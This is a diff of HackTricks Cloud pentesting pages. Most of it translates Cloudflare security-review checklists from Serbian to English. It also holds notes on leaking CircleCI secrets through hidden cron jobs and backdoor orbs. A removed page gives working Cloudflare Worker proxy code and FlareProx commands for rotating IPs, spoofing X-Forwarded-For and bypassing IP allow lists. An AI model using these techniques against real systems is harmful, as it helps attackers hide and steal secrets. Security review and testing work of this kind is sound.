- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
U Cloudflare nalogu postoje neke **opšte postavke i servisi** koji se mogu konfigurisati. Na ovoj stranici ćemo **analizirati bezbednosne postavke svake sekcije:**
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Veb sajtovi
## Websites
Pregledajte svaki koristeći:
Review each with:
{{#ref}}
cloudflare-domains.md
{{#endref}}
### Registracija domena
### Domain Registration
- [ ] U **`Transfer Domains`** proverite da nije moguće transferovati nijedan domen.
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
Pregledajte svaki koristeći:
Review each with:
{{#ref}}
cloudflare-domains.md
@@ -26,45 +26,39 @@ cloudflare-domains.md
## Analytics
_Izgleda da nisam našao ništa što bi se proveravalo pri sigurnosnom pregledu konfiguracije._
_I couldn't find anything to check for a config security review._
## Pages
Na svakoj Cloudflare Pages:
On each Cloudflare's page:
- [ ] Proverite da li ima **osetljivih informacija** u **`Build log`**.
- [ ] Proverite da li ima **osetljivih informacija** u **Github repository** dodeljenom Pages.
- [ ] Proverite moguć kompromitovanje github repozitorijuma kroz **workflow command injection** ili kompromitovanje `pull_request_target`. Više informacija na [**Github Security page**](../github-security/index.html).
- [ ] Proverite da li postoje **vulnerable functions** u direktorijumu `/fuctions` (ako postoji), proverite **redirects** u fajlu `_redirects` (ako postoji) i **misconfigured headers** u fajlu `_headers` (ako postoji).
- [ ] Proverite **ranjivosti** na web stranici preko **blackbox** ili **whitebox** testiranja ako imate pristup kodu.
- [ ] U detaljima svake stranice `/<page_id>/pages/view/blocklist/settings/functions`. Proverite da li ima **osetljivih informacija** u **`Environment variables`**.
- [ ] Na stranici sa detaljima proverite takođe **build command** i **root directory** zbog potencijalnih injekcija koje bi kompromitovale stranicu.
- [ ] Check for **sensitive information** in the **`Build log`**.
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
## **Workers**
Na svakom Cloudflare Worker-u proverite:
On each Cloudflare's worker check:
- [ ] Triggere: Šta pokreće worker? Može li korisnik poslati podatke koji će biti **iskorišćeni** od strane workera?
- [ ] U **`Settings`**, proverite da li **`Variables`** sadrže **osetljive informacije**
- [ ] Proverite **kod workera** i tražite **vulnerabilities** (posebno na mestima gde korisnik može kontrolisati input)
- Proverite SSRF-ove koji vraćaju stranicu koju možete kontrolisati
- Proverite XSS-e koji izvršavaju JS unutar svg slike
- Moguće je da worker komunicira sa drugim internim servisima. Na primer, worker može da radi sa R2 bucket-om koji skladišti informacije dobijene iz inputa. U tom slučaju, potrebno je proveriti kakve privilegije worker ima nad R2 bucket-om i kako se to može zloupotrebiti preko korisničkog inputa.
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
> [!WARNING]
> Imajte na umu da je po defaultu **Worker dobija URL** kao što je `<worker-name>.<account>.workers.dev`. Korisnik može postaviti **subdomain**, ali uvek mu možete pristupiti preko tog **original URL-a** ako ga znate.
Za praktičnu zloupotrebu Workers kao pass-through proxies (IP rotation, FireProx-style), pogledajte:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
## R2
Na svakom R2 bucket-u proverite:
On each R2 bucket check:
- [ ] Konfigurišite **CORS Policy**.
- [ ] Configure **CORS Policy**.
## Stream
@@ -76,8 +70,8 @@ TODO
## Security Center
- [ ] Ako je moguće, pokrenite **`Security Insights`** **scan** i **`Infrastructure`** **scan**, jer će ista istaći interesantne informacije u vezi sa bezbednošću.
- [ ] Jednostavno **proverite ove informacije** zbog sigurnosnih pogrešnih konfiguracija i interesantnih podataka
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- [ ] Just **check this information** for security misconfigurations and interesting info
## Turnstile
@@ -92,49 +86,52 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> Za razliku od [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) su suštinski statični — one ne podržavaju nikakve operacije zamene stringova ili regularne izraze. Međutim, možete konfigurisati URL parametre za redirect koji utiču na njihovo ponašanje pri poklapanju i izvršavanju.
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Proverite da li **expressions** i **requirements** za redirects **imaju smisla**.
- [ ] Proverite takođe za **osetljive skrivene endpoint-e** koji mogu sadržati interesantne informacije.
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
## Notifications
- [ ] Proverite **obaveštenja**. Ova obaveštenja su preporučljiva za bezbednost:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Proverite sve **destinacije**, jer webhook URL-ovi mogu sadržati **osetljive informacije** (basic http auth). Takođe se postarajte da webhook URL-ovi koriste **HTTPS**
- [ ] Kao dodatnu proveru, možete pokušati da **impersonate a cloudflare notification** trećoj strani — možda možete nekako **inject nešto opasno**
- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
## Manage Account
- [ ] Moguće je videti **poslednje 4 cifre kreditne kartice**, **datum isteka** i **billing address** u **`Billing` -> `Payment info`**.
- [ ] Moguće je videti **tip plana** korišćenog u nalogu u **`Billing` -> `Subscriptions`**.
- [ ] U **`Members`** je moguće videti sve članove naloga i njihove **role**. Imajte na umu da ako tip plana nije Enterprise, postoje samo 2 role: Administrator i Super Administrator. Ali ako je korišćen **plan Enterprise**, [**više role**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) mogu biti korišćene da se primeni princip najmanjih privilegija.
- Dakle, kad god je moguće, **preporučuje se** korišćenje **Enterprise plana**.
- [ ] U Members je moguće proveriti koji **members** imaju **2FA enabled**. **Svaki** korisnik bi trebalo da ima 2FA omogućen.
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
> [!NOTE]
> Imajte na umu da, srećom, uloga **`Administrator`** ne daje dozvole za upravljanje članstvom (**ne može eskalirati privilegije niti pozvati** nove članove)
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
## DDoS Investigation
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
U svakom TLD-u konfigurisanom u Cloudflare postoje neka **opšta podešavanja i usluge** koje se mogu konfigurisati. Na ovoj stranici ćemo **analizirati podešavanja vezana za sigurnost svake sekcije:**
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
### Pregled
### Overview
- [ ] Steknite osećaj o **koliko** se usluga na računu **koristi**
- [ ] Takođe pronađite **zone ID** i **račun ID**
- [ ] Get a feeling of **how much** are the services of the account **used**
- [ ] Find also the **zone ID** and the **account ID**
### Analitika
### Analytics
- [ ] U **`Sigurnosti`** proverite da li postoji **ograničenje brzine**
- [ ] In **`Security`** check if there is any **Rate limiting**
### DNS
- [ ] Proverite **zanimljive** (osetljive?) podatke u DNS **rekordima**
- [ ] Proverite **poddomene** koje bi mogle sadržati **osetljive informacije** samo na osnovu **imena** (kao što je admin173865324.domin.com)
- [ ] Proverite web stranice koje **nisu** **proksirane**
- [ ] Proverite **proksirane web stranice** koje se mogu **pristupiti direktno** putem CNAME-a ili IP adrese
- [ ] Proverite da li je **DNSSEC** **omogućen**
- [ ] Proverite da li se **CNAME Flattening** **koristi** u **svim CNAME-ima**
- Ovo može biti korisno za **sakrivanje ranjivosti preuzimanja poddomena** i poboljšanje vremena učitavanja
- [ ] Proverite da li domene [**nisu ranjive na spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
- [ ] Check **interesting** (sensitive?) data in DNS **records**
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
- [ ] Check for web pages that **aren't** **proxied**
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
- [ ] Check that **DNSSEC** is **enabled**
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **Email**
@@ -36,91 +36,91 @@ TODO
### SSL/TLS
#### **Pregled**
#### **Overview**
- [ ] **SSL/TLS enkripcija** treba da bude **Puna** ili **Puna (Stroga)**. Svaka druga će slati **saobraćaj u čistom tekstu** u nekom trenutku.
- [ ] **SSL/TLS Preporučivač** treba da bude omogućen
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
- [ ] The **SSL/TLS Recommender** should be enabled
#### Edge Sertifikati
#### Edge Certificates
- [ ] **Uvek koristite HTTPS** treba da bude **omogućeno**
- [ ] **HTTP Stroga Transportna Bezbednost (HSTS)** treba da bude **omogućena**
- [ ] **Minimalna TLS verzija treba da bude 1.2**
- [ ] **TLS 1.3 treba da bude omogućen**
- [ ] **Automatska HTTPS Prepravka** treba da bude **omogućena**
- [ ] **Praćenje Transparentnosti Sertifikata** treba da bude **omogućeno**
- [ ] **Always Use HTTPS** should be **enabled**
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
- [ ] **Minimum TLS Version should be 1.2**
- [ ] **TLS 1.3 should be enabled**
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
- [ ] **Certificate Transparency Monitoring** should be **enabled**
### **Sigurnost**
### **Security**
- [ ] U sekciji **`WAF`** zanimljivo je proveriti da li se koriste **pravila vatrozida** i **ograničenja brzine** za sprečavanje zloupotreba.
- Akcija **`Zaobiđi`** će **onemogućiti Cloudflare sigurnosne** funkcije za zahtev. Ne bi trebala da se koristi.
- [ ] U sekciji **`Page Shield`** preporučuje se da proverite da li je **omogućena** ako se koristi neka stranica
- [ ] U sekciji **`API Shield`** preporučuje se da proverite da li je **omogućena** ako je neki API izložen u Cloudflare
- [ ] U sekciji **`DDoS`** preporučuje se omogućiti **DDoS zaštite**
- [ ] U sekciji **`Podešavanja`**:
- [ ] Proverite da li je **`Nivo sigurnosti`** **srednji** ili veći
- [ ] Proverite da li je **`Izazov Prolaz`** 1 sat maksimalno
- [ ] Proverite da li je **`Provera Integriteta Pregledača`** **omogućena**
- [ ] Proverite da li je **`Podrška za Privatnost Pass`** **omogućena**
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
- [ ] In the **`Settings`** section:
- [ ] Check that the **`Security Level`** is **medium** or greater
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
#### **CloudFlare DDoS Zaštita**
#### **CloudFlare DDoS Protection**
- Ako možete, omogućite **Bot Fight Mode** ili **Super Bot Fight Mode**. Ako štitite neki API koji se pristupa programatski (na primer, sa JS front end stranice). Možda nećete moći da omogućite ovo bez prekidanja tog pristupa.
- U **WAF**: Možete kreirati **ograničenja brzine po URL putanji** ili za **verifikovane botove** (pravila ograničenja brzine), ili da **blokirate pristup** na osnovu IP, kolačića, referera...). Tako možete blokirati zahteve koji ne dolaze sa web stranice ili nemaju kolačić.
- Ako je napad od **verifikovanog bota**, barem **dodajte ograničenje brzine** za botove.
- Ako je napad na **specifičnu putanju**, kao mehanizam prevencije, dodajte **ograničenje brzine** na ovoj putanji.
- Takođe možete **dodati na belu listu** IP adrese, IP opsege, zemlje ili ASN-ove iz **Alata** u WAF-u.
- Proverite da li **Upravljana pravila** takođe mogu pomoći u sprečavanju eksploatacije ranjivosti.
- U sekciji **Alati** možete **blokirati ili dati izazov specifičnim IP-ovima** i **korisničkim agentima.**
- U DDoS-u možete **prepraviti neka pravila da ih učinite restriktivnijim**.
- **Podešavanja**: Postavite **Nivo sigurnosti** na **Visok** i na **Pod Napadom** ako ste Pod Napadom i da je **Provera Integriteta Pregledača omogućena**.
- U Cloudflare Domains -> Analitika -> Sigurnost -> Proverite da li je **ograničenje brzine** omogućeno
- U Cloudflare Domains -> Sigurnost -> Događaji -> Proverite za **otkrivene zlonamerne Događaje**
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
- In DDoS you could **override some rules to make them more restrictive**.
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
### Pristup
### Access
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
### Brzina
### Speed
_Nisam mogao pronaći nijednu opciju vezanu za sigurnost_
_I couldn't find any option related to security_
### Keširanje
### Caching
- [ ] U sekciji **`Konfiguracija`** razmotrite omogućavanje **CSAM Alata za Skener**
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
### **Workers Rute**
### **Workers Routes**
_Već ste trebali proveriti_ [_cloudflare workers_](#workers)
_You should have already checked_ [_cloudflare workers_](#workers)
### Pravila
### Rules
TODO
### Mreža
### Network
- [ ] Ako je **`HTTP/2`** **omogućen**, **`HTTP/2 do Origin`** treba da bude **omogućen**
- [ ] **`HTTP/3 (sa QUIC)`** treba da bude **omogućen**
- [ ] Ako je **privatnost** vaših **korisnika** važna, uverite se da je **`Onion Routing`** **omogućen**
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
### **Saobraćaj**
### **Traffic**
TODO
### Prilagođene Stranice
### Custom Pages
- [ ] Opcionalno je konfigurisati prilagođene stranice kada se aktivira greška vezana za sigurnost (kao što su blokada, ograničenje brzine ili sam pod napadom)
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
### Aplikacije
### Apps
TODO
### Scrape Shield
- [ ] Proverite da li je **Obfuscation Email Adresa** **omogućena**
- [ ] Proverite da li su **Isključenja na Serveru** **omogućena**
- [ ] Check **Email Address Obfuscation** is **enabled**
- [ ] Check **Server-side Excludes** is **enabled**
### **Zaraz**
@@ -131,3 +131,6 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,286 +0,0 @@
# Zloupotreba Cloudflare Workers kao pass-through proxyja (IP rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers se mogu deploy-ovati kao transparentni HTTP pass-through proxyji gde upstream cilj URL obezbeđuje klijent. Zahtevi izlaze iz Cloudflare-ove mreže, pa cilj vidi Cloudflare IP adrese umesto klijentovih. Ovo odražava dobro poznatu FireProx tehniku na AWS API Gateway, ali koristi Cloudflare Workers.
### Ključne mogućnosti
- Podrška za sve HTTP metode (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Cilj se može proslediti putem query parametra (?url=...), header-a (X-Target-URL), ili čak enkodiran u putanji (npr. /https://target)
- Zaglavlja i body se prox-yjuju uz filtriranje hop-by-hop/header po potrebi
- Odgovori se prosleđuju nazad, zadržavajući status kod i većinu zaglavlja
- Opcionalno falsifikovanje X-Forwarded-For (ako Worker postavi vrednost iz header-a koji kontroliše korisnik)
- Veoma brzo/lako rotiranje deploy-ovanjem više Worker endpoint-a i raspoređivanjem zahteva
### Kako to radi (flow)
1) Klijent šalje HTTP zahtev ka Worker URL-u (`<name>.<account>.workers.dev` ili custom domain route).
2) Worker izvlači cilj iz query parametra (?url=...), X-Target-URL header-a, ili segmenta putanje ako je implementirano.
3) Worker prosleđuje dolaznu metodu, zaglavlja i body na specificirani upstream URL (uz filtriranje problematičnih zaglavlja).
4) Upstream odgovor se stream-uje nazad ka klijentu preko Cloudflare-a; origin vidi Cloudflare egress IP adrese.
### Primer implementacije Workera
- Čita target URL iz query parametra, header-a ili putanje
- Kopira bezbedan subset zaglavlja i prosleđuje originalnu metodu/body
- Opcionalno postavlja X-Forwarded-For koristeći header koji kontroliše korisnik (X-My-X-Forwarded-For) ili nasumičnu IP adresu
- Dodaje permisivan CORS i obrađuje preflight
<details>
<summary>Primer Workera (JavaScript) za pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Automatizacija deploy-a i rotacije sa FlareProx
FlareProx je Python alat koji koristi Cloudflare API za postavljanje više Worker endpoint-a i rotiranje između njih. Ovo obezbeđuje FireProx-like IP rotation putem Cloudflare mreže.
Setup
1) Kreirajte Cloudflare API Token koristeći šablon “Edit Cloudflare Workers” i dobijte svoj Account ID iz dashboard-a.
2) Konfigurišite FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Kreirajte konfiguracioni fajl flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**Korišćenje CLI**
- Kreirajte N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- Lista endpoints:
```bash
python3 flareprox.py list
```
- Health-test endpointi:
```bash
python3 flareprox.py test
```
- Izbriši sve endpoints:
```bash
python3 flareprox.py cleanup
```
**Usmeravanje saobraćaja kroz Worker**
- Oblik query parametara:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Oblik zaglavlja:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Oblik putanje (ako je implementirano):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Primeri metoda:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` kontrola**
Ako Worker poštuje `X-My-X-Forwarded-For`, možete uticati na uzvodnu vrednost `X-Forwarded-For`:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Programatska upotreba**
Koristite FlareProx biblioteku za kreiranje/izlistavanje/testiranje endpointa i usmeravanje zahteva iz Pythona.
<details>
<summary>Primer u Pythonu: Pošaljite POST preko nasumičnog Worker endpointa</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner integracija**
- Usmerite alatke (na primer Burp Suite) na Worker URL.
- Prosledite stvarni upstream koristeći ?url= ili X-Target-URL.
- HTTP semantika (methods/headers/body) se zadržava dok sakrivate svoju izvornu IP adresu iza Cloudflare.
**Operativne napomene i ograničenja**
- Cloudflare Workers Free plan allows roughly 100,000 requests/day per account; use multiple endpoints to distribute traffic if needed.
- Workers run on Cloudflares network; many targets will only see Cloudflare IPs/ASN, which can bypass naive IP allow/deny lists or geo heuristics.
- Koristite odgovorno i samo uz odobrenje. Poštujte ToS i robots.txt.
## References
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
U **Cloudflare Zero Trust Network** nalogu postoje neka **podešavanja i usluge** koja se mogu konfigurisati. Na ovoj stranici ćemo **analizirati podešavanja vezana za sigurnost svake sekcije:**
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
### Analytics
- [ ] Korisno za **upoznavanje sa okruženjem**
- [ ] Useful to **get to know the environment**
### **Gateway**
- [ ] U **`Policies`** je moguće generisati politike za **ograničavanje** pristupa aplikacijama na osnovu **DNS**, **mreže** ili **HTTP** zahteva.
- Ako se koristi, **politike** mogu biti kreirane za **ograničavanje** pristupa zlonamernim sajtovima.
- Ovo je **samo relevantno ako se koristi gateway**, inače nema razloga za kreiranje odbrambenih politika.
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- If used, **policies** could be created to **restrict** the access to malicious sites.
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
### Access
#### Applications
Na svakoj aplikaciji:
On each application:
- [ ] Proverite **ko** može pristupiti aplikaciji u **Policies** i proverite da **samo** **korisnici** koji **trebaju pristup** aplikaciji mogu pristupiti.
- Da bi se omogućio pristup, koristiće se **`Access Groups`** (i **dodatna pravila** se takođe mogu postaviti)
- [ ] Proverite **dostupne provajdere identiteta** i uverite se da **nisu previše otvoreni**
- [ ] U **`Settings`**:
- [ ] Proverite da **CORS nije omogućen** (ako je omogućen, proverite da je **siguran** i da ne dozvoljava sve)
